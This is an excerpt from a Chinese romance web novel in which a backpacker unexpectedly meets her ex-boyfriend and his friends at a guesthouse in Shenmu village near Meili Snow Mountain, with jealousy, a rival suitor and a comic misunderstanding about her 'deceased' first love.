《雪线以上在逃春山》
1. 徒步
三月下旬,云南徒步的人又渐渐多了起来。
李今晏的右眼皮一直跳,她在大雨中憋着一股气,在晚八点前赶到了神木村的‘紫青稞’客栈。
神木村坐落于香格里拉梅里雪山的主峰东麓,深藏在澜沧江与怒江分水岭的山谷之中,与世隔绝。这里被誉为徒步者的天堂,香格里拉的最后秘境。
掀开厚布帘进了木屋,温暖气息扑面而来,人声一阵高过一阵。李今晏扯下冲锋衣的帽子,拍拍身上的水珠,长呼了口气。老板娘刚好在前台,笑眯眯地接过她的身份证。
客厅里挺热闹,除了好几排大方桌上坐着的人在嬉笑打牌,几个驴友就围着门边不远处的藏式火塘烤火聊天,李今晏毫无生疏的跟他们打起招呼。
几个男生看她大方,也朝她笑道:“欢迎美女!”
玩户外的多的是生性开朗,喜欢大自然,更喜欢有朋友的大自然,今天搭了腔,明天就能约着走一程。
李今晏对这个紫青稞还挺满意,门外是雪山徒步的野性,屋内是炉火与人烟的踏实。
但还没平静几分钟,身后的布帘忽然被人掀开。寒气钻入,伴有人声。
“草啊啊啊!我新买的的岗仁波齐已经脏得不成样了!深一脚浅一脚全在泥里。”一道哀怨的男声。
李今晏低头看看自己糊满稀泥的徒步鞋,看来大家都被神木村的烂土路给折磨到了。
“以为只有江南才有梅雨季呢,没想到来了西南也有。”旁边有女生答复:“这都还没开始徒呢,鞋就脏了。”
“再下下去,估计看不到日照金山。”
日照金山?李今晏嗤笑一声。想看日照金山那真是选错了日子,来之前她看过观测点的直播,这几天低云锁山,云层低于4000米而且没有缝隙,连雪山都完全隐形,更别提金光了。
“啊?那我们也太亏了,大老远的从沪市飞过来,看雨啊?”回答他的,是另一个女声。
李今晏的右眼皮猛地跳了一下。
沪市,啧……又是沪市……
以前听到这两个字,李今晏总会怀着紧张期待又害怕的心情去看去瞧,希望是那人,又不希望是……后来失望的次数多了,也就慢慢免疫,但李今晏今天心里,总是隐隐不安……
人声越来越大,一下子进来了四个穿得五颜六色的人。
门口较窄,秉承着友好态度的李今晏主动让位,转身朝他们微笑。可不曾想,眼皮忽然不跳了!
她万万没想到,五年了……这次来自沪市的人真的是他!
陈梓川高高的站在最后,还是那副厌世酷拽的样子,黑色冲锋衣拉到最顶,帽子还严严实实罩在头上。帽绳被拉紧,阴影几乎吞没了他的上半张脸,只留下一个紧绷的下颌线和紧抿的薄凉嘴唇。身边,还站了个明艳高挑的短发美人。
李今晏仿佛被雷击中那般,人都麻了,她心里一直有个小人扯着耳朵朝自己吼道:无所谓了,早就无所谓了!五年前就放下了啊!你给老子镇静点!
为首的罗美君张大了嘴,用手肘抵抵男朋友关斯扬:“这,这李今晏吗?!”
关斯扬也吓了一大跳,准备收起登山杖的手都停住:“娘嘞?!李今晏?”五年前轰轰烈烈追到陈大校草,结果最后一声不吭就把人踹了的李今晏?!
老朋友们都吓傻了,纷纷去瞄陈梓川的脸色。陈梓川本人倒是毫不在意面无表情,他抄着手直接往里进,身旁的女生赶忙跟上。
看来,是两对情侣相约出游。
再遇到这些人,李今晏还是非常尴尬,她心里哭唧唧,面上笑嘻嘻:“你们好呀,这也太巧了,你们也来云南徒步?”
何止巧啊啊啊啊,怎么会?怎么会同天同点都选到云南香格里拉神木村的这个紫青稞?!这次出门真该看看黄历的呃呃呃呃呃呃。
他们没背包,看起来早就入住了,关斯扬说:“嗯啊,读完研了嘛,毕业旅行。”
毕业……啊……原来他们今年要毕业了,怪不得一向不喜欢旅行的陈梓川也在。
关斯扬哂笑着打量她:“你现在,头发都这么长了?”
李今晏甩了甩马尾,干笑道:“是啊,一晃也几年了嘛。”
李今晏知道,关斯扬对自己的头发印象深刻。七年前大一的时候,她还是一头乖软可人的短发,每天下了课都来篮球场逮陈梓川。
刚开始陈梓川极度嫌弃,常常明讽她那顶蠢逼蘑菇头,但后来就每天都要木着脸揉一揉,惹得球场的单身狗们连连叫惨,关斯扬就是叫得最凶的那个。
那时候关斯扬还没遇到罗美君呢,现在两人已经水到渠成了。那时候她还没追到陈梓川呢,现在两人分手都五年了。
关斯扬也有些唏嘘,如今他们研三毕业,李今晏的头发也及腰了,一个高马尾显得人利落又精神,刘海早已撩起,露出光洁饱满的额头。她穿着一身柠檬黄迪卡侬冲锋衣,背着个齐于肩颈的荧光绿登山包,气质倒是跟以前有些不一样。
关斯扬问:“你也毕业旅行吗?”
他们本科同属2018级,正常三年研的话,今年刚好毕业。
可是李今晏摇摇头:“我就是穷游背包客,前段时间回昆明休整了一个月,现在又准备出发了。”
穷游背包客?这是职业吗?关斯扬惊讶:“没有工作吗?”
“嗯呢,混子一个。”李今晏语气轻松。
当年A大的金融高材生竟然,竟然……
关斯扬表情数变,最后还是把话吞了进去。
李今晏看了眼陈梓川,她还想跟人打招呼呢,可他不给机会。陈梓川从进门开始就没有正眼看过她,甚至人还从队伍最后走到了最前,一副前台站了空气的样子。
是啊,2020年大二的时候,她趁着疫情几个月不开学,直接就和陈梓川断崖分手,接着宿舍东西都不要了立马转学,两人从此再没见过,他应当是讨厌她的……不过现在又有了新欢,想必也跟她一样,无所谓了?
“美女,你的身份证。”
老板娘的声音拉回李今晏的思绪,她匆忙伸手去接,却不想因为手笨,一个没拿稳就把身份证丢了出去。
啊……
硬质卡片撞在木地板上,在脏污的地上转了几圈,好巧不巧,滚到那双狼灰色高邦鞋前。那是陈梓川的徒步靴,一双沾满泥点,湿漉漉的lowa。
李今晏吐了吐舌头走上前去,伸出手准备弯腰去捡。
但陈梓川两手插兜,仿佛没看见般,顺脚就踩了上去......
“嘶……”关斯扬闭了闭眼。
李今晏差点被踩到手:“哎……”
陈梓川一副‘才发现脚感不对’的样子,他立住脚后跟,微微移开右脚尖,低头去看。
李今晏想去捡,却被陈梓川抢先,他直起身捏起身份证的一角仔细打量起来。
陈梓川有186cm,李今晏比她矮了22cm。以前暧昧期的时候,陈梓川要是抢了她东西,李今晏就会扑上去把手举得高高的和他亲密打闹,现在的李今晏只能阴着脸走到他面前,隔着一段距离扬起脸瞪他:
“还给我!”
陈梓川抬眼:“这是你?”
这样的陈梓川很陌生,他尾音上扬,一副冷漠疏离的样子。
李今晏看他:“当然是我。”
“噢~原来你还活着。”陈梓川挑眉,一副明白了的样子,把身份证递给她。
什么叫原来她还活着?她本来就活得好好的啊……
李今晏伸手去接,眼前的那只手竟然还像以前一样,依然比例匀称骨干有力,两人站得不近,但陈梓川抬手的时候,她仿佛还能嗅到他身上荡过来的那股熟悉的,又掺杂着点冷气的鼠尾草香。
一瞬间,李今晏有些晃神……
她手下动作没停,马上要抓住身份证的时候,陈梓川忽然松了手,似乎还用了点力……身份证就这么滚远了。
李今晏闭了闭眼。
她就知道!
陈梓川这种幼稚的性格怎么还没改!
木地板上的身份证已沾满泥泞鞋印,浑浊脏污的人脸就这么大剌剌躺在所有人奇怪的眼神里,就连火塘边嘻嘻哈哈的人都安静不少。
这一脚,像是真的踩在了李今晏脸上。
……
气氛没凝固多久,三人看着陈梓川走远,又赶忙跟上。
拐角上了镂空的杉
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木楼梯,关斯扬跑上前去想拉陈梓川:“我靠,真的是她??”
陈梓川不回答,嘴唇紧抿着,还是大踏步往二楼走。
其实关斯扬问这句还是有点不相信在的,人间蒸发了五年了李今晏,怎么会这么巧?陈梓川一来云南徒步就……
云南?
云南!
关斯扬心下一惊,差点忘了!李今晏是云南人啊!
再看陈梓川,关斯扬的眼神已经变得很奇怪了,根本就不是因为毕业旅行,陈梓川才愿意从每天对着电脑写代码的枯燥生活中抽离出来,真正的原因是!这次他们的徒步点选了云南!
天哪,云南!
一切都解释的通了……陈梓川的手一直抄在裤兜里,那根本就不是在装酷。裤兜里有烟,他的手已经狠狠掐住了那包中华。
那是他躁郁症发作前,极力抑制的表现。
·
“多大点事儿!”李今晏走过去愤愤捡起身份证,她从前台抽了张纸,用力擦掉泥水。
登记完拿上房卡,李今晏进到一楼公浴旁的全女四人间。
选择四人间的原因有二,一是住四人间的女生年纪都不大,大多是二十到三十五岁之间,一般聊聊天都能交到朋友。
二是李今晏没啥积蓄。去年硕士毕业,没工作多久就看透银行里朝九晚五浑浑噩噩的牛马生活,不顾家人反对的她毅然决然背起包,准备走遍大江南北。没有固定收入,李今晏只能靠写点公众号,卖点摄影照片赚钱。
“滴滴。”刷开门,四人间里一片漆黑,李今晏开了灯,暖黄灯光瞬间洒下。
四人间的布局就像学校里的女生宿舍,左右两边各两个上下铺,正中间还有一张长桌,上面除了雪套雪镜、冰爪、氧气罐等徒步物资外,还摆了一些旅行装的小瓶护肤品。
左手边的上下铺都拉上了淡绿床帘,床底还有两双塞了弹力袜的灰色徒步鞋,应该是有人住。右手边的两个床位大大敞开着,没人。
李今晏走到中间,刚把登山包放好坐下,手机就嗡嗡震动起来。
【母亲】:你这次徒步完就回家吧,已经玩了一年了,我还是觉得你该上班去。
李今晏那两个字都要打烂了。
【今朝晏晏】:就不
界面顶部又变成了对方正在输入,李今晏按灭手机,不想再说。
“滴滴。”四人间的门又被刷开,外面的热闹声溜进来,又很快溜出去。
李今晏回头去看,进来的人居然是那个穿着玫红冲锋衣的短发女生,罗美君没有跟在后面。
如果罗美君和关斯扬住了,那她为什么不和陈梓川住?他们难道还不是男女朋友?
连李今晏自己都没发现,她暗暗松了口气。
这女生刚才在前台就一直在打量她,现在好像还带了点儿怨气。大概是已经从关斯扬那个大嘴巴口中得知,自己是陈梓川前任的事了。
李今晏笑着打招呼:“你好,你住上铺还是下铺?我还没选。”
李今晏是想友好相处的,但这女生的下一句话就令她莫名火大:“我就在这里将就一晚,明天我会搬上楼,和男朋友睡。”
声音骄傲,不知道在高贵什么。
李今晏皱眉,什么叫将就一晚?看不起我们穷逼四人间还订来干嘛?哪里的娇气大小姐跑到这山坳坳里来膈应人?她冷声戳她:“怎么?你男朋友也要明天才能将就你?今天不行?”
她的语气嘲讽,伊夏听了脸色瞬间煞白。她本来就还没追到陈梓川,又害怕自己一个人睡才被迫订的四人间,刚才进门看到李今晏的时候只想呈呈口舌之快。伊夏叉着腰梗着脖子,情急之下脱口而出:“明天!我们明天就在一起!”
李今晏忽然扑哧一笑,没忍住,又笑到抖起肩膀来。没想到这个姑娘竟是个笨蛋美人,看起来长得精明美艳,其实一戳就炸。当代社会,哪还有人连谈恋爱都要写上日程表的?怕是根本还没追上,又想装装面子。
伊夏觉得她在嘲笑自己,气得捏紧手上的登山杖:“你笑什么!”
“笑好笑的呗。”李今晏大笑完,翘着二郎腿朝她勾勾手:
“想追陈梓川啊?来啊,我教你。”
2. 今晏
果不其然,伊夏拧着的眉瞬间松开,她顿了一下,走了两步又定住。
李今晏看她犹豫警惕又好奇的表情,忍不住想笑。
有意思。
伊夏试探着开口:“你……一点也不在乎?你有这么好心?”
看她像小猫一样试探的表情,李今晏压住嘴角,双手举起作投降姿势:“我嘞个清汤大老爷咦,我和陈梓川是前任没错。但都五年了,我俩早往前走了,你看他刚才对我那个冷漠哟。我看你人长得漂亮性格也可爱,才想给你出主意的,不愿意就算了噢。”
果然!听到“长得漂亮”“性格可爱”这几个字,伊夏的嘴角就快绷不住,她礼尚往来:“其实你也挺好看的。”
这倒不是假话,李今晏脸型流畅,肤色雪白,梨涡娇憨,一双杏眼盈盈秋水,本身就甜美。穿上紧身干练的冲锋衣后,整个人就是甜飒交织。
李今晏笑着抱拳:“那是。”
伊夏又想起刚才在楼梯上,关斯扬问陈梓川再见前任的感觉,他短短一句“我居然爱过这么差的人”就概括完了。已经能直视往昔平淡谈起,应该是真的放下了,伊夏咬咬唇:“你真愿意帮我?”
“哎——不能说帮。”李今晏举起食指老神在在地摇了摇:“就指点一下,我不当军师的,麻烦。”
伊夏终于放下戒备,迅速把登山杖靠在桌边,挪着凳子贴近李今晏:“我其实认得你。”
李今晏挑眉:“关斯扬说的?”
伊夏摇摇头:“A大公众号上,有你和陈梓川的合照。”
A大……公众号?她上过那玩意儿?还是合照?
伊夏看她一脸迷茫,提醒她:“2019年12月,你和陈梓川关斯扬参加数学建模的国赛,拿了最高奖。”
伊夏的语气中有淡淡的羡慕,不止是对李今晏拥有过陈梓川这件事,还有一些什么别的。
李今晏眯起眼,好像……是有那么回事?不过,2019年不是6年前吗?李今晏问:“你那个时候就认识我们了?”
伊夏又摇摇头:“我是去年才考到A大读研的,陈梓川是我师兄。”
哦~那也是学计算机的,李今晏又问:“那你怎么知道我的……”
伊夏抱起手,挺直背:“我就在微信里搜了一下他的名字呗,把他出现过的文章都看了一遍。”
李今晏知道,在微信搜索栏输入人名,很多推文会自动匹配,她张大了嘴:“然后一直从2025年翻到2019年?”
伊夏又骄傲起来,语气上扬:“是翻到了2016年,陈梓川高中也很优秀。”
李今晏:“……”
居然翻了9年……她要是有这样的毅力,干什么不会成功。
伊夏:“我看合照就知道你是他女朋友。”
李今晏:“?”
说真的,她有点记不得什么合照……
伊夏掏出手机,居然从相册里翻出那张获奖合照,只不过照片并不完整,李今晏被裁掉了头和腿,只留陈梓川抱着的半截身体。
为什么这么奇怪呢?因为那张获奖合照原本是陈梓川公主抱着笑得开朗明媚的她,关斯扬在旁边拿着三本证书。李今晏的记忆忽然开始重建。
伊夏觉得,能让陈梓川这么抱着,肯定是情侣呀。而且照片里的陈梓川嘴角挂笑,偏头看她。后脑勺上,还用一个粉熊发圈扎了个小啾啾。女生都知道那意味着什么。
伊夏有些嫉妒:“你那个丑不拉几的粉色发圈和他的帅脸根本不在一个图层,真不知道他怎么答应你用的,可能死皮赖脸真的有用?”不然她也不会有机会跟来徒步。
李今晏听起来却有些奇怪。
答应她用?
那发圈明明是陈梓川自己抢的——那时候他们谈了快一年,在学校的职工宿舍楼里合租。她心血来潮准备留长发,头发还没长长,发圈倒是买了一把,每天都在练习扎小啾啾。
最后她选出了这个粉色小熊,放在首饰盒里乖乖供着。可没过两天,发圈就不翼而飞,再没两天,直接出现在了陈梓川的后脑勺上。
后来她换一个陈梓川就换一个,还时不时哄她去剪头发,所以,李今晏的长发到最后也没能留上。
“哎呀扯偏了!”伊夏猛地打断她的神游:“你快多跟我说些陈梓川吧。”
李今晏心气微微浮动,不动声色地移开眼:“要听什么?”
伊夏转转眼珠:“陈梓川有什么不为人知的喜好?”
半年多来,伊夏把他喜欢篮球、摩托、游戏这些明面上的信息全都打听到了,但感觉还是走不进他的心,她想要给陈梓川致命的心动一击,前任肯定知道该如何下手。
不为人知……
李今晏一愣。
也是那段时间,她发现陈梓川好像特别喜欢抱抱,尤其在打游戏的时候,喜欢把人按在腿上跨着坐,耳朵贴着耳朵那种,自己游戏打累了就把人捞出来亲一口。
李今晏说不出口。她发现自己真的是有些作,大概是动过真感情吧,现在想起这些来竟不能全无波澜。
她突然觉得,真正在装面子的人,可能是自己。
“说啊。”伊夏催她。
李今晏嗫嚅了一下,最后还是随便找了个借口,逃出客栈。
客栈外的清新空气让李今晏放松不少,但刚跨出来的她就被冻得打了个寒颤,三月的高原,雨夜接近零度,还是莽撞了。不过,旁边就开着小卖部,她准备抱着手冲进去。
“哗!”
突然有一声重重的踩水声。
李今晏被吓了一跳,猛地转头看去。
雨丝斜斜掠过檐角,小卖部门口的灯泡在雨帘里忽明忽暗。
两米外,有人倚着土墙根。黑色冲锋衣的轮廓在雨幕中化作墨色剪影,即便半弯着腰,也比屋檐下歪斜的招牌高出一截。那人指节无意识摩挲着金属打火机,火星明灭间照亮锋利的下颌与微抿的薄唇。
是陈梓川。
现在他没戴帽子,记忆中的脸开始重叠,笔直线条从眉心坠到下巴,切割出极具攻击性的立体轮廓,眉眼如刀,鼻梁似峰。他的头发好像比那时候更短了,两侧几乎见青,与顶部稍长的地方形成明显落差。
客观来说,好像比大学更帅了。
他好像没看见她,李今晏吞了吞口水,也装作什么都没看见,直冲进了小卖部。
这家小卖部居然还卖冰棍,她控制不住,给自己拿了一根。李今晏喜欢在天气寒冷的时候吃冰,这种近似于挑衅的吃法,别人避之不及的体验,在她眼里是感官盛宴。
不知道陈梓川走了没有,李今晏想趴在门口瞄一眼,但又觉得自己没什么好怕的,她撕开包装,把冰棍塞进嘴巴,准备大摇大摆的回去。
李今晏每次吃冰棍都会粘舌头,这次也不例外,刚进嘴,唾液中的水分子就迅速转为冰晶,李今晏感到一阵冰凉与刺痛,她刚想拉开,手却不由自主的顿住。
以前是有人帮她解决这个问题的……
那晚,外滩边跨完年,李今晏刚入口的老冰棍就粘住了舌头,她笑嘻嘻地给陈梓川看。可没想到,当着周围几百人,陈梓川竟然扣住她的脖子把人往怀里带,就那么亲了上去……后来每次吃冰棍李今晏都玩这个把戏,陈梓川完全沉溺其中。
……
唉,真不该碰到他的,现在冰棍都不能好好吃了……
李今晏叹了口气,跨出门去。
可没想到,将将跨出门,就走了一步的李今晏忽然前倾!她感到一阵重心强烈失控的坠落感。
惯性下,李今晏慌忙伸手,舌头上的冰棍被拉扯着带出,又是一阵撕痛!
冰棍就这么掉进了泥地,眼看着自己也要和这土路来个亲密接触的时候!她终终终于扶住一个臂膀!
“我靠啊!”
太惊险了!
活下来的李今晏像扶墙似的大口喘着气,身上冷汗直冒,跟凌冽的冷空气一对冲,她觉得自己快烧起来了。
那人嫌弃似的,微微挪开身子。李今晏放下手,站直,但胸口还在不断起伏。她恶狠狠地咬牙瞪他:“为什么绊我??”
刚才陈梓川就站在门外伸着脚!他一定是故意的!
“我?绊你?”陈梓川已经收起了打火
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机,正抱着手靠着墙斜眼看她,好像是个天大的笑话般,他冷笑了一声:“你还是那么自作多情。”
不知道是不是因为挪动了的原因,陈梓川的鞋现在真的规规矩矩贴着墙,伸出来的那点距离,根本无法碰到她。看起来真就是她眼瞎不看路,自己要摔个狗吃屎。如果是这样,她还要感谢陈梓川给她稳住了???
李今晏简直要抓狂了!!!
陈梓川斜靠着墙,视线又收回去,他完全不理睬眼前暴躁的人,就这么从裤子里摸了根烟出来。
李今晏忽然就怔住了,陈梓川,居然又开始抽烟了??
李今晏想了想,别过脸去:“你……不是戒烟了吗?”
“咔哒”“嚓”,火苗又起,陈梓川眯着眼点燃那根烟,烟头的小火星忽明忽暗。
李今晏还是败下阵来,忍不住看向他:“你别抽!烟瘾不是早就戒了吗?!”
她不是帮他,早就戒了吗?
这玩意她不喜欢,也很伤肺。陈梓川当年情绪不好的时候特别喜欢抽,后来她用许多吻和爱代替了。
陈梓川充耳不闻,故意激怒她似的,下唇微张,上唇轻压,将滤嘴精准地嵌在双唇中央的凹陷处。
李今晏气急,想要上前去从陈梓川嘴里取下那根极其不顺眼的烟。
就要碰到的时候,陈梓川忽然站直了身体,李今晏抓了个空。他像是看到什么脏东西一样,冷眼盯她,语气嘲讽:“你有什么资格管我?”
陈梓川的瞳孔里仿佛沉着一整片冻湖,映不出半点人间温度,李今晏蔫了。
是啊,没资格……
他们现在甚至连朋友都不是……
陈梓川吐出一卷烟圈,李今晏来不及躲,被涩味呛了个正着,她赶忙别过脸去捂着口鼻。陈梓川这是知道她讨厌烟味,故意膈应她。
别过脸的李今晏,忽然又瞥到地上混着泥的白色冰棍。冰棍已断成两截,就像他们曾经的感情……心底又涌上一阵酸涩,舌头的痛感,受惊的心脏、苦涩的胸腔都在一遍遍提醒她,五年过去,不一样了,真的一切都不一样了……
陈梓川不会再亲她,不会再哄她,也不会乖乖听她的话把烟扔掉,现在的他冷漠又无情,专挑她的痛处戳!
哦对,他还要有新对象了……
可是他本该就要有对象的不是吗?五年了,人家早该往前走了,何况还是这种级别的帅哥,身边从来不缺追求者……
不知道为啥,李今晏有些没出息的想哭。她努力吸了吸鼻子,死命掐住自己。
算了吧!
想来他对当年被断崖分手的事,多多少少还是心存芥蒂怒意未消,就让他发泄一下……李今晏握紧的手又松开,她重重叹了口气,不再看陈梓川,用力掀开布帘,进了客栈。
“嗡嗡。”手机忽然震动。
迟到的驴友终于来了:【我还有15分钟就到,你再考虑一下,要不要跟我换房间?大床房肯定比你的四人间舒服。我问过老板娘,大床房没了,但男生的四人间还有空位。】
破天荒的,李今晏回了个‘好’。
说是驴友,这个喻炀更像李今晏的相亲对象……
额,单方面的。
喻炀是李妈妈同事的儿子,毕业于西南一所985高校,现在在昆明一家大医院上班。人长得阳光白净,性格开朗大方,事业稳定。按李妈妈的话说,跟自己不务正业的女儿简直是绝配。
2月过年的时候,李今晏又被劈里啪啦一顿念经,为了堵住李妈妈三天十次的抱怨,她不得已嗯嗯啊啊答应见上一面。
总之,这顿米线喻炀终于和她吃上了,李今晏本以为任务完成,却万万没想到,这是新炼狱的开端。因为从那以后,喻炀就一发不可收拾的开始追她。
无业游民李今晏怎么都吓不退他,反而还被他夸有勇气,敢于跳出舒适圈。这不,连神木村徒步都调班跟来了。
喻炀好像对一切都很新鲜,和火塘边的人热情打招呼,和老板娘唠嗑,甚至还和客栈里的阿姨约了牌局。
最后的喻炀终于坐定,好死不死,选在了陈梓川他们那桌。
3. 去世
“嗨,你们好。”喻炀坐在关斯扬对面,笑得阳光:“只有你们这儿有座位了,不介意吧?”
8人大木桌上只有他们两个男生,其他座位都还空着。
“不介意。”关斯扬也自来熟。
陈梓川在关斯扬左手侧,还是懒懒的靠在椅背上刷手机,眼皮都没抬。
喻炀继续问:“你们来第几天了?”眼神瞟过那个连男人都觉得帅的男人,又回到关斯扬这儿。关斯扬穿着深绿冲锋衣,一头圆寸干净利落,面相也柔和很多,喻炀对他总有种在看瘦版熊二的感觉。
关斯扬翘起二郎腿:“下午刚到……你一个人?”
“太巧了!我晚上刚到。不过不是一个人,还有我的……”喻炀抓抓后脑勺,有些害羞:“家长都在催,你懂的那种,嘿嘿嘿。”
和一些不认识的人这样提起李今晏,喻炀心里有一阵说不清的甜蜜。
“嗯啊,懂了。”关斯扬笑,心下了然,这是马上要捅破窗户纸了,来大自然促进促进感情。
神木村有6条徒步线,常走的有4条,除了尼龙线进出村,最简单的就是神瀑线、尼色线和冰湖线。
也算有缘,喻炀划开手机翻小红书攻略:“你们明天走哪条线?我们要不搭个伙?”
他其实不了解徒步,依着李今晏也没有找领队,刚才老板娘说这几天山路湿滑,还可能会有小型雪崩,提醒他明天徒步一定万分小心。喻炀觉得,如果能多约些人,安全系数会更高。
关斯扬正要答应,忽然又想起旁边的陈梓川。他向来不喜欢生人,更别提组队了。他咽了咽口水,正在措辞怎么婉拒,忽然发现眼前小白脸的眼睛亮了起来。
“这边儿!”喻炀朝着公浴旁边的位置猛猛挥手,甚至还站起了身。
关斯扬回头,顺着他的视线看去,心下猛地一震。
那是李今晏,提着登山包的李今晏!
喻炀已经顾不上他的回复了,他边朝李今晏走边笑:
“203,走吧今晏。”
203?关斯扬不敢呼吸了。
203那不就是201陈梓川的隔壁吗??和这个小白脸处在暧昧阶段的人,居然是李今晏?她又要换对象了?那川儿怎么办?
关斯扬平静不下来。说实话,他就不相信求着跟来的伊夏能拿下陈梓川,刚才陈梓川的反应别人不懂,他这么多年哥们儿还能不懂?
李今晏在陈梓川心里这么些年,就tm没挪过一丁点儿位置。
但换句话说,他对李今晏一直是有不满的。
当年趁着疫情没开学,李今晏直接就把陈梓川甩了,所有的联系方式全部拉黑删除,就连企鹅邮箱都换了。给的理由是谈不了异地恋,而且有了新对象。
沪市到云南两千多公里,几个月不见面,听起来好像也可以理解。但陈梓川不信,膝盖半月板撕裂,刚做完手术的他一瘸一拐就要冲去云南,几个医生根本拦不住,最后陈母还费劲疏通关系,花钱请了保镖守着,看似保护,实则软禁。
本以为五月底开学了,两人可以坐下来好好谈谈,没想到赶到宿舍楼下的陈梓川,只等来李今晏转学的消息。
这是有多喜欢现任多谈不了异地恋?大学居然都能转学?关斯扬很佩服。
现在又要换对象了,原来那个是不是又被折磨的不成人样?而且看他们亲密的样子,她这是要和小白脸睡一屋?
唉……
关斯扬偏头去瞄,陈梓川仿佛什么都没听到似的,依然眼皮都没掀一下。
四人间出来就是一整个大客厅,关斯扬他们就坐在过道边上,挨着木楼梯。喻炀路过的时候还想和他打招呼,被李今晏揪着衣服拉走了。
刚上楼梯没两层,李今晏就听到关斯扬的声音:“你怎么在看酒店?这里住得不舒服吗?”
都快11点了,陈梓川要换酒店?李今晏没偏头,只是握着扶手的手微微攥紧,她不想内耗细想,但陈梓川的声音很快就猛地砸进她的心。
她听到他说:
“脏。”
李今晏顿住了脚,这是在骂她吗?骂她脏?和她一个酒店就这么恶心吗?陈梓川居然连这种词都说得出来。
不想忍了!李今晏把登山包一丢,准备下去和他理论。
这时候听到动静的喻炀转过头来,发现李今晏没跟上,登山包还可怜兮兮的瘫在楼梯上,他两步跨回来,一手抓起登山包,对她笑得温柔:“很重吧?我来提。”
李今晏一下子消了气:“没有……谢谢啊。”
算了,小不忍则乱大谋,还是先不要影响到别人,反正今天以后他们就再也不见了。最后李今晏又把怒意压了下去,跟着上了楼。
送李今晏到203,刚准备退出去的喻炀就被喊住了,他一脸期待的站在门口。
李今晏直视他,开门见山:“喻炀,这次徒步完你就回去吧,我们是不可能的。”
至少现在不可能,她才发现,自己好像还没有完全放下那段感情。心里不清空,是装不下别人爱意的。
喻炀却好像一点儿没被打击到,眼睛还是亮亮的,语调轻松:“害,你不用这么急着拒绝我嘛,不是说好了给次机会的。”
出发之前,喻炀说看在老乡的份上,给他个云南的机会,他一定可以让李今晏心动。
李今晏也很坚决:“喻炀,我没有开玩笑。”
“嘣!”
门就这么被关上了,喻炀直接拒绝沟通。
李今晏惊讶,他竟然还有这样霸道的一面?
呆楞了一会儿,她只能作罢。
房间不大,跟一般酒店的大床房差不多,但墙壁上挂了唐卡,床头柜上摆了制氧机,床品也全是带有藏文化特色的氆氇团花,颜色鲜艳明亮。
李今晏的登山包有38L,她的所有物品都挤在这个包里。牙刷,折叠的,拖鞋,折叠的,就连衣架都是折叠的,一整个包就是整个世界。
比四人间好的点就体现出来了,她能把冰爪、雪镜、手套、保温杯、能量棒、登山杖等物资全部拿出来摊在桌上。
但李今晏翻了一圈,就是没发现自己的羽绒内胆,那是可是高原徒步的保温利器。
难道丢在四人间了?
走到门口的李今晏又止住了脚步,回四人间要下楼经过客厅,万一陈梓川他们还坐在那儿多尴尬?李今晏选择先洗澡。
拉下内裤的时候,她发现上面有一抹红。
啧……生理期了。
洗完澡的李今晏又累又困,竟然就这样把找羽绒内胆的事完全抛掷脑后,直接睡死过去……
下了楼的喻炀本来要回四人间的,被关斯扬的热情又邀回了木桌上。
陈梓川皱着眉看着关斯扬,一脸阴沉。
客厅里已经没多少人了,关斯扬搓了搓手,笑着看喻炀:“刚才还没说好呢,你们明天走哪条线?”
不道德就不道德吧,撬墙角这种事,他也不是第一次干,罗美君就是这么追来的。结了婚还能离婚呢,眼前这俩甚至还不是对象,关斯扬决定为了兄弟努力一把。
喻炀笑着看了看二楼:“明天看她怎么说。
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”
呵,还是个怕老……啊呸!
“行。”关斯扬轻咳了两声,又装作不经意地问:“你们是哪里人啊?怎么这个点来云南徒步?”
三月下旬,也不是什么假期,神木村山上的雪都还没化呢,什么花都没有。对于一般好不容易出来旅游的人来说,这不是一个好选择。
喻炀傻不愣登的:“我们就是昆明人啊,那个……我朋友嘛,她是背包客,嘿嘿,超酷的那种,她想来我就来了呗,一切都听她的。”
“哇哦,这么厉害啊!”关斯扬表情惊讶,几乎快鼓掌了,他桌底下奋力按住想走的陈梓川,面上还是看着喻炀:“那她都去过哪些地方啊?”
喻炀一脸骄傲:“就去年一年的时间,两广地区加上港澳地区基本都被她玩遍了,可不要小看才这么几个地方哦,她都是深度游玩,一呆就一整个月不挪窝呢,哦对!她年前还刚从老挝回来,酷不酷?”
“卧槽?!这么牛逼?老挝都敢去?”关斯扬不知道是真的惊到了还是装的:“那她家人不担心?”
那不是著名的嘎腰子圣地吗??他知道以前李今晏就喜欢到处旅游,不知道她现在都已经开始去那种地方了??
喻炀语气平下来:“也担心,但是更多还是尊重她的个人意见,就像她去年R大的金融系硕士毕业唉,不喜欢那种牛马生活,工作说辞就辞。她妈妈虽然也念叨,但还是妥协了。”
R大全国有名,能读上那所高校的金融系,多少人求都求不来的。
R大?原来李今晏转学到京市了……
关斯扬感觉到手下的人不再挣扎,他松了口气,继续套话:“这么勇敢别样的姑娘,你可真幸运。这下你抓到她了,可不得把她抓紧点,不然马上又溜了。”
喻炀哈哈一笑:“是啊,我都感觉我捡到宝了。而且她之前居然只谈过一任。一直到现在,单身五年了。”
边上的陈梓川微微一愣。
关斯扬皱眉:“五年?五年没谈过??”
跟我们川儿一样?那‘有了新对象’的‘新对象’是谁??
“是啊,你们别说出去啊。”喻炀凑近,压低声音:“之前听她说,她初恋去世了。我感觉她有些封心锁爱,五年来都没有再谈。所以我说我捡到宝了嘛……”
喻炀不觉得有白月光是什么大不了的事,这侧面更能证明李今晏对感情的用心。只要他能追到,他就相信,这样美好真挚的感情李今晏也会给他。
去,去世?
关斯扬有些不敢相信自己的耳朵。初恋去世了,那他旁边这位是谁?
关斯扬尬住,缓缓偏头,陈梓川的脸已经黑得像锅底,他冷不丁问了句:
“她跟你说……她初恋去世了?”
声音很轻,但关斯扬的心就这么提起来了。
喻炀见这个一直没说话的帅哥也发问了,以为是自己的故事吸引了他的注意,更加兴致勃勃:“是啊……多可怜啊,年纪轻轻的就死了,不过也幸好哈哈哈。”
前任不走,哪还有他什么事?
年纪轻轻的就死了……哈哈哈哈哈。
关斯扬的道德和笑点在疯狂打架,他捂着嘴狂抖。真的想知道,喻炀发现他对面这位就是他口中‘初恋’时的表情,一定一定非常精彩!
听到陈梓川冷哼一声,关斯扬还是害怕,赶忙插话:“行行行,我们肯定不会说出去的,那明天一起徒步吧,啊,早点休息养精蓄锐!”
喻炀看了看手机,时间也不早了,他笑嘻嘻地跟他们再见:“行嘞!明天见。”
4. 神瀑
看到喻炀关上四人间的门,关斯扬边笑边疯狂抵陈梓川:“哈哈哈哈我靠我靠我靠!”
信息量太大,他已经不知道先说哪个了。
